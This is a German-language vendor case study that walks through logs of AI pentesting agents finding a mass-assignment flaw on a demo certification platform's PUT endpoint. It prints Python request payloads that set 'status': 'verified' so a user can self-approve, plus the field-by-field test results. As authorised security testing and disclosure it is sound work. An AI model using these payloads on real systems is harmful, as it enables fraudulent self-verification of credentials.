Case Study
Startseite>Case Studies>Mass Assignment: Selbstverifizierungs-Bypass
Hohe Schwere - Bestätigt

Selbstverifizierungs-Bypass: Wie SQUR einen Business-Logic-Fehler fand, den kein Scanner erkennt

Der Pentester-Agent von SQUR entdeckte, dass Nutzer ihre eigenen Zertifizierungen auf den Status "verified" hochstufen konnten, indem sie einen Mass-Assignment-Fehler im Update-Endpunkt ausnutzten - eine Business-Logic-Schwachstelle, die erfordert, zu verstehen, was die Anwendung tut, nicht nur, wie sie antwortet. Ein eigenständiger Vulnerability-Verifier-Agent bestätigte das Finding unabhängig über ein anderes Konto.

Ziel: CertTracker (Plattform für Zertifizierungsmanagement)
Endpunkt: PUT /api/certifications/{id}
Schwachstelle: Mass Assignment → Selbstverifizierung
Risiko: Hoch
5:30
Minuten bis zur Entdeckung
1
Kritisches Feld exponiert
4
Felder bestätigt geschützt
2
Unabhängige Bestätigungen

Die Hypothese

Beim Testen der CertTracker-API bildete der Pentester-Agent von SQUR eine Hypothese: Die Zertifizierungs-Endpunkte könnten Felder akzeptieren, die auf Administratoren beschränkt sein sollten. Wäre das Feld status - das steuert, ob eine Zertifizierung "active", "verified" oder "revoked" ist - für reguläre Nutzer beschreibbar, wäre der gesamte Verifizierungs-Workflow bedeutungslos.

Das ist nicht die Art von Schwachstelle, nach der ein Scanner sucht. Es gibt keine Signatur, keine bekannte CVE, kein Muster zum Abgleichen. Es erfordert, den geschäftlichen Zweck jedes Feldes zu verstehen und durchzudenken, was passieren würde, wenn die falsche Person es ändern könnte.

Agentengedanke 18:38:27
Pentester
Test auf Mass-Assignment-Schwachstellen in den Endpunkten zur Erstellung (POST) und Aktualisierung (PUT) von Zertifizierungen. Ich versuche, eingeschränkte Felder wie 'status', 'user_id' und 'id' einzuschleusen, um zu sehen, ob das Backend sie fälschlicherweise verarbeitet - was es einem Angreifer erlauben könnte, den Status einer Zertifizierung zu ändern (z. B. auf 'verified' oder 'revoked') oder sie einem anderen Nutzer zuzuweisen.
Tool-Ausführung 18:38:27
execute_python
Python - Mass Assignment Test (POST + PUT)
# 1. Attempt Mass Assignment in POST /api/certifications/
payload_post = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "MASS-ASSIGN-POST",
    "status": "verified",  # Restricted field
    "user_id": 1,          # Restricted field
    "id": 999              # Restricted field
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)

# 2. Create a clean cert, then test PUT with restricted fields
payload_put = {
    "cert_type_id": 3,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "revoked",   # Restricted field
    "user_id": 1           # Restricted field
}
response_put = requests.put(f"{base_url}/api/certifications/{target_id}", json=payload_put, headers=headers)
Tool-Antwort 18:38:49
execute_python
Der Mass-Assignment-Test für /api/certifications/ war aufgrund einer Business-Logic-Beschränkung ergebnislos. Die POST-Anfrage mit eingeschränkten Feldern (status: 'verified', user_id: 1, id: 999) scheiterte mit einem 400 Bad Request und der Fehlermeldung '{"detail":"You already have an active certification of this type"}'. Das verhinderte die Erstellung der Test-Zertifizierung und den anschließenden PUT-Update-Test.
Ergebnis - Durch Business Logic blockiert
POST /api/certifications/ → 400 Bad Request
"You already have an active certification of this type"

Test inconclusive - cannot create cert to test PUT endpoint

An eine Wand stoßen - und sich anpassen

Ein Scanner würde hier aufhören. Die Anfrage lieferte 400 zurück, keine Schwachstelle erkannt, weiter geht's. Doch der Pentester verstand, warum sie scheiterte - der Testnutzer besaß bereits Zertifizierungen jedes Typs, was die Geschäftsregel "eine pro Typ" auslöste. Die eigentliche Mass-Assignment-Frage war noch immer unbeantwortet.

Es folgten drei Minuten iterativer Problemlösung: Abfrage bestehender Zertifizierungen, ein KeyError beim falschen Feldnamen, die Entdeckung, dass die API credential_id statt certificate_number verwendet, und schließlich die Umstrukturierung des Tests, um innerhalb der Constraints der Anwendung zu arbeiten.

Agentengedanke 18:39:08
Pentester
Prüfung der aktuellen Zertifizierungen und verfügbaren Typen, um die 'Duplikat-Zertifizierung'-Beschränkung zu umgehen. So kann ich eine 'cert_type_id' auswählen, die ich noch nicht besitze, oder bestehende löschen, um mit dem Mass-Assignment-Test fortzufahren.
Tool-Antwort 18:39:24
execute_python
Der Versuch, die aktuellen Zertifizierungen und verfügbaren Typen aufzulisten, scheiterte an einem Python-'KeyError: certificate_number'. Während die Anfrage an '/api/certifications/my' erfolgreich 5 Zertifizierungen zurücklieferte, stürzte das Skript während der Iteration ab, weil mindestens ein Zertifizierungsobjekt das Feld 'certificate_number' nicht enthielt.
Ergebnis - Skriptfehler
KeyError: 'certificate_number'

→ Field is actually named 'credential_id' in API responses
→ User has 5 active certifications (types 1-5)
Agentengedanke 18:39:50
Pentester
Ausführung des Mass-Assignment-Tests durch den Versuch, eingeschränkte Felder ('status', 'user_id', 'id') sowohl in POST- als auch in PUT-Anfragen für Zertifizierungen einzuschleusen. Ich habe einen Zertifizierungstyp freigemacht, um die POST-Anfrage zu ermöglichen, und ziele für die PUT-Anfrage auf eine bestehende Zertifizierung. Das liefert einen eindeutigen Nachweis, ob die Anwendung anfällig für Mass Assignment ist.
Tool-Ausführung 18:39:50
execute_python
Python - Restructured Mass Assignment Test
# 1. Delete certification ID 6 (Type 1) to free it up for POST testing
requests.delete(f"{base_url}/api/certifications/6", headers=headers)

# 2. POST with restricted fields - does the API accept them?
payload_post = {
    "cert_type_id": 1,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "verified",  # Should be admin-only
    "user_id": 1,          # Should be system-assigned
    "id": 9999             # Should be auto-generated
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)

# 3. PUT with restricted fields - does the API accept them?
payload_put = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "revoked",   # Should be admin-only
    "user_id": 1           # Should be immutable
}
response_put = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)

Die Entdeckung

Die Ergebnisse teilten sich klar auf: Der POST-Endpunkt ignorierte alle eingeschränkten Felder korrekt. Doch der PUT-Endpunkt erzählte eine andere Geschichte.

Tool-Antwort 18:40:11
execute_python
Eine Mass-Assignment-Schwachstelle wurde im Endpunkt 'PUT /api/certifications/{id}' bestätigt. Während der Endpunkt 'POST /api/certifications/' eingeschränkte Felder (status, user_id, id) korrekt ignorierte, ließ der 'PUT'-Endpunkt die Änderung des Feldes 'status' zu. Konkret war die Aktualisierung der Zertifizierung mit ID 7 mit 'status': 'revoked' erfolgreich (200 OK), und die Änderung wurde über eine anschließende GET-Anfrage verifiziert. Das Feld 'user_id' scheint geschützt zu sein, da es trotz des Versuchs, es auf '1' zu ändern, '7' blieb.
Ergebnis - Schwachstelle bestätigt
POST /api/certifications/ → 201 Created
  status: "active"    (ignored "verified" - SAFE)
  user_id: 7          (ignored "1" - SAFE)
  id: 12              (ignored "9999" - SAFE)

PUT /api/certifications/7 → 200 OK
  status: "revoked"   (accepted "revoked" - VULNERABLE)
  user_id: 7          (ignored "1" - SAFE)

GET /api/certifications/7 → Confirmed: status persisted as "revoked"

Das Feld status war beschreibbar. Doch "revoked" ist nicht die gefährliche Richtung. Der Pentester verstand die Konsequenz sofort: Wenn Nutzer jeden Status setzen können, können sie "verified" setzen.

Agentengedanke 18:40:16
Pentester
Test, ob die Mass-Assignment-Schwachstelle im PUT-Endpunkt es einem Nutzer erlaubt, seinen Zertifizierungsstatus auf 'verified' zu setzen. Das wäre ein Finding mit hoher Auswirkung, da es den vorgesehenen Verifizierungsprozess umgeht und Nutzern ermöglicht, fälschlicherweise verifizierte Zertifizierungen vorzuweisen.
Tool-Ausführung 18:40:16
execute_python
Python - Self-Verification Attempt
# The critical question: can a user set their own status to "verified"?
payload_put = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "MASS-ASSIGN-VERIFY",
    "notes": "Testing self-verification",
    "verification_url": "http://example.com",
    "status": "verified"
}

response = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Updated Status: {response.json().get('status')}")
Tool-Antwort 18:40:34
execute_python
Eine kritische Mass-Assignment-Schwachstelle wurde am Endpunkt 'PUT /api/certifications/{id}' bestätigt. Ein authentifizierter Nutzer änderte den Status seiner Zertifizierung (ID: 7) erfolgreich auf 'verified', indem er das Feld '"status": "verified"' in den Request-Body aufnahm. Der Server lieferte einen 200-OK-Status zurück, und der Response-Body bestätigte die Statusaktualisierung. Diese Schwachstelle ermöglicht es Nutzern, den offiziellen Verifizierungsprozess zu umgehen und ihre eigenen Zertifizierungen selbst zu genehmigen, was die Integrität der Plattform untergräbt.
Ergebnis - Selbstverifizierung bestätigt
PUT /api/certifications/7  →  200 OK

{
  "id": 7,
  "status": "verified",     ← USER SET THIS THEMSELVES
  "user_id": 7,
  "cert_type_id": 2,
  ...
}

[!] CRITICAL: User can self-verify certifications via mass assignment!

Den Schaden eingrenzen

Eine Schwachstelle zu finden ist die halbe Arbeit. Sie präzise einzugrenzen ist die andere Hälfte. Der Pentester hörte nicht auf, nachdem er bestätigt hatte, dass das Feld status beschreibbar war - er testete systematisch, was nicht beschreibbar war, und erstellte eine präzise Schwachstellen-Karte statt eines vagen Alarms.

Agentengedanke 18:40:38
Pentester
Test, ob die Mass-Assignment-Schwachstelle mit einem IDOR-Angriff kombiniert werden kann, um Zertifizierungen anderer Nutzer zu ändern. Obwohl frühere IDOR-Tests an diesem Endpunkt scheiterten, ist es wichtig zu prüfen, ob das Hinzufügen des Feldes 'status' oder anderer Parameter die Autorisierungslogik verändert.
Tool-Antwort 18:40:54
execute_python
Ein Versuch, IDOR in Verbindung mit Mass Assignment auszunutzen, indem die Zertifizierung eines anderen Nutzers (ID: 1) über 'PUT /api/certifications/1' geändert wurde, scheiterte. Der Server lieferte einen 403-Forbidden-Status mit der Meldung '{"detail":"Access denied"}' zurück. Das zeigt, dass die Anwendung den Besitz der Zertifizierung vor der Verarbeitung der Aktualisierung korrekt validiert und so die nutzerübergreifende Ausnutzung der Mass-Assignment-Schwachstelle verhindert.
Ergebnis - IDOR blockiert (403 Forbidden)
PUT /api/certifications/1 (another user's cert) → 403 "Access denied"

Ownership check enforced - vulnerability limited to own certifications

Vollständige Feld-Karte

Nachdem jedes eingeschränkte Feld einzeln getestet worden war, erstellte der Pentester eine präzise Schwachstellen-Grenze.

PUT - status
{"status": "verified"}
Beschreibbar - VERWUNDBAR
PUT - user_id
{"user_id": 1}
Ignoriert - Geschützt
PUT - cert_type_id
{"cert_type_id": 1} (bereits im Besitz)
Ignoriert - Geschützt
PUT - created_at
{"created_at": "2020-01-01T00:00:00"}
Ignoriert - Geschützt
POST - status
{"status": "verified"}
Ignoriert - Geschützt
POST - user_id
{"user_id": 1}
Ignoriert - Geschützt
POST - id
{"id": 9999}
Ignoriert - Geschützt
PUT - IDOR (anderer Nutzer)
PUT /api/certifications/1
403 Forbidden - Blockiert

Geschäftliche Auswirkung

  • Selbstverifizierung: Jeder authentifizierte Nutzer kann seine eigenen Zertifizierungen auf den Status "verified" hochstufen und so die administrative Aufsicht umgehen
  • Vertrauensverlust: Der gesamte Verifizierungs-Workflow für Zertifizierungen wird bedeutungslos, wenn Nutzer sich selbst genehmigen können
  • Compliance-Risiko: Organisationen, die sich für die Validierung von Nachweisen auf CertTracker verlassen, können dem "verified"-Abzeichen nicht vertrauen
  • Eingrenzung des Geltungsbereichs: Betroffen sind nur die eigenen Zertifizierungen des Nutzers (IDOR korrekt blockiert) und nur das Feld status ist beschreibbar

Unabhängige Verifizierung

SQUR vertraut seinen eigenen Findings nicht, bis ein zweiter Agent sie bestätigt. Der Vulnerability Verifier - ein eigenständiger, unabhängiger Agent mit eigenen Zugangsdaten - erhielt das Finding und versuchte, es von Grund auf zu reproduzieren.

Agentengedanke 18:42:33
Vulnerability Verifier
Ich werde versuchen, die Mass-Assignment-Schwachstelle zu reproduzieren, indem ich eine Zertifizierung erstelle und dann versuche, ihr Feld 'status' über eine PUT-Anfrage zu aktualisieren. Das bestätigt, ob die Anwendung Nutzern erlaubt, ihre Zertifizierungen selbst zu verifizieren.
Tool-Antwort 18:42:48
execute_python
Der Versuch, Mass Assignment zu verifizieren, scheiterte an Business-Logic-Constraints der Anwendung. Das Skript versuchte zunächst, eine neue Zertifizierung zu erstellen, doch der Server lieferte einen 400 Bad Request mit der Meldung "You already have an active certification of this type" zurück. Da keine neue Zertifizierung erstellt wurde, ging die anschließende PUT-Anfrage an eine ungültige URL (endend auf /None), was zu einem 422-Unprocessable-Entity-Fehler führte.
Ergebnis - Dasselbe Hindernis, anderer Agent
POST /api/certifications/ → 400 "You already have an active certification of this type"
PUT /api/certifications/None → 422 (no valid cert ID to test)

Verifier hits the same business logic wall as the Pentester

Der Verifier stieß auf genau dieselbe "eine pro Typ"-Beschränkung. Genau wie der Pentester passte er sich an - er fragte die bestehenden Zertifizierungen des Nutzers ab, um eine gültige Ziel-ID zu finden.

Agentengedanke 18:42:51
Vulnerability Verifier
Ich muss eine bestehende Zertifizierungs-ID des Nutzers finden, um die PUT-Anfrage zu testen, da die Erstellung einer neuen aufgrund einer Duplikat-Typ-Beschränkung scheiterte.
Tool-Antwort 18:43:04
execute_python
Erfolgreich als 'user_2f4a0672' authentifiziert und Zertifizierungsdaten von '/api/certifications/my' abgerufen. Eine einzelne Zertifizierung mit der ID '11' (Typ: CISSP, Status: 'active') wurde identifiziert. Diese ID liefert ein gültiges Ziel zum Testen von Mass Assignment auf dem PUT-Endpunkt '/api/certifications/{id}'.
Tool-Ausführung 18:43:09
execute_python
Python - Independent Reproduction (Different User Account)
# Authenticated as user_2f4a0672 (NOT the Pentester's account)
cert_id = 11  # CISSP certification, status: "active"

update_payload = {
    "cert_type_id": 1,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "XSS-VERIFY-1",
    "status": "verified"
}

response = requests.put(f"{certs_url}{cert_id}", json=update_payload, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Response: {json.dumps(response.json(), indent=2)}")

if response.status_code == 200 and response.json().get("status") == "verified":
    print("\nSUCCESS: Mass Assignment confirmed. Status changed to 'verified'.")
Tool-Antwort 18:43:21
execute_python
Mass-Assignment-Schwachstelle am Endpunkt '/api/certifications/{id}' bestätigt. Nach der Authentifizierung als 'user_2f4a0672' wurde eine PUT-Anfrage an '/api/certifications/11' mit einem Payload einschließlich '"status": "verified"' gesendet. Der Server antwortete mit einem 200 OK, und das zurückgegebene Objekt zeigte, dass der Status erfolgreich auf 'verified' aktualisiert worden war. Das bestätigt, dass Nutzer interne Statusfelder manipulieren können, die normalerweise schreibgeschützt oder auf administrative Rollen beschränkt sein sollten.
Ergebnis - Unabhängig bestätigt
PUT /api/certifications/11  →  200 OK

{
  "id": 11,
  "status": "verified",     ← SECOND USER, SAME RESULT
  "user_id": 6,
  "cert_type_id": 1,
  ...
}

SUCCESS: Mass Assignment confirmed. Status changed to 'verified'.
Agentengedanke 18:43:49
Vulnerability Verifier
Ich habe die Mass-Assignment-Schwachstelle im Update-Endpunkt für Zertifizierungen technisch verifiziert. Ich habe bestätigt, dass ein authentifizierter Nutzer seinen Zertifizierungsstatus auf 'verified' ändern kann, indem er das Feld in eine PUT-Anfrage aufnimmt, während andere sensible Felder wie 'user_id' und 'created_at' geschützt bleiben.
Tool-Ausführung 18:43:49
update_finding
update_finding
Key Arguments
Finding Confirmed
"finding_id": "ede82993-2c72-4048-b961-3c3d6d999ba5"
"status": "ai_accepted"
"risk_level": "high"
"status_reason": "Deterministic PoC confirms that the 'status' field
  can be modified by a standard user via the PUT endpoint,
  allowing for self-verification of certifications."

Warum Scanner das übersehen

Ein DAST-Scanner, der PUT /api/certifications/7 mit zusätzlichen Feldern testet, würde eine 200 OK-Antwort sehen. Er würde vielleicht sogar bemerken, dass sich das Feld status geändert hat. Doch er kann nicht feststellen, ob diese Änderung von Bedeutung ist.

Zu verstehen, dass status: "verified" eine Verletzung einer Vertrauensgrenze darstellt - dass dieses Feld einen administrativen Genehmigungs-Workflow steuert, dass Nutzer ihn nicht umgehen können sollten, dass die geschäftliche Auswirkung Zertifizierungsbetrug ist - erfordert ein Domänenverständnis, das kein signaturbasiertes Tool besitzt.

Der Pentester zeigte zudem adaptives Denken: Als der erste Test durch die Business Logic (Duplikat-Zertifizierungs-Constraint) blockiert wurde, verstand er, warum er scheiterte, strukturierte den Test um und blieb dran, bis er eine eindeutige Antwort erreichte. Ein Scanner hätte "400 Bad Request" protokolliert und wäre weitergezogen.

Business-Logic-Fehler - der blinde Fleck automatisierter Sicherheit

Herkömmliche Security-Tools sind hervorragend im Musterabgleich: bekannte CVEs, gängige Fehlkonfigurationen, signaturbasierte Erkennungen. Doch die gefährlichsten Schwachstellen in modernen Anwendungen sind oft Business-Logic-Fehler - Fälle, in denen die Anwendung genau so funktioniert, wie sie programmiert wurde, der Code aber nicht die Regeln durchsetzt, die das Geschäft erfordert.

Diese Mass-Assignment-Schwachstelle ist ein Musterbeispiel. Der API-Endpunkt antwortete auf jede Anfrage korrekt. Die HTTP-Semantik war gültig. Die Authentifizierung wurde durchgesetzt. Das einzige Problem war, dass das Feld status - ein Feld, das einen kritischen Vertrauens-Workflow steuert - im Update-Schema unbeabsichtigt exponiert war.

SQUR fand sie, weil seine Agenten über die Semantik der Anwendung nachdenken, nicht nur über das Protokollverhalten. Der Pentester verstand, dass der Status "verified" eine administrative Bedeutung hat. Er passte sich an, als er durch Business-Logic-Constraints blockiert wurde. Er kartierte die präzise Grenze zwischen verwundbaren und geschützten Feldern. Und der Vulnerability Verifier bestätigte das Finding unabhängig über ein völlig anderes Nutzerkonto.

Das Ergebnis: ein verifiziertes, präzise eingegrenztes Finding hoher Schwere mit einem vollständigen Proof of Concept - entdeckt, bestätigt und dokumentiert ohne menschliches Eingreifen.

Dieses Finding ist Teil des Demo-Pentests, den jede nutzende Person beim Registrieren bei SQUR sieht. Erstellen Sie ein kostenloses Konto, um die vollständigen Ergebnisse zu erkunden und zu verstehen, wie SQUR funktioniert.

Kostenlos loslegen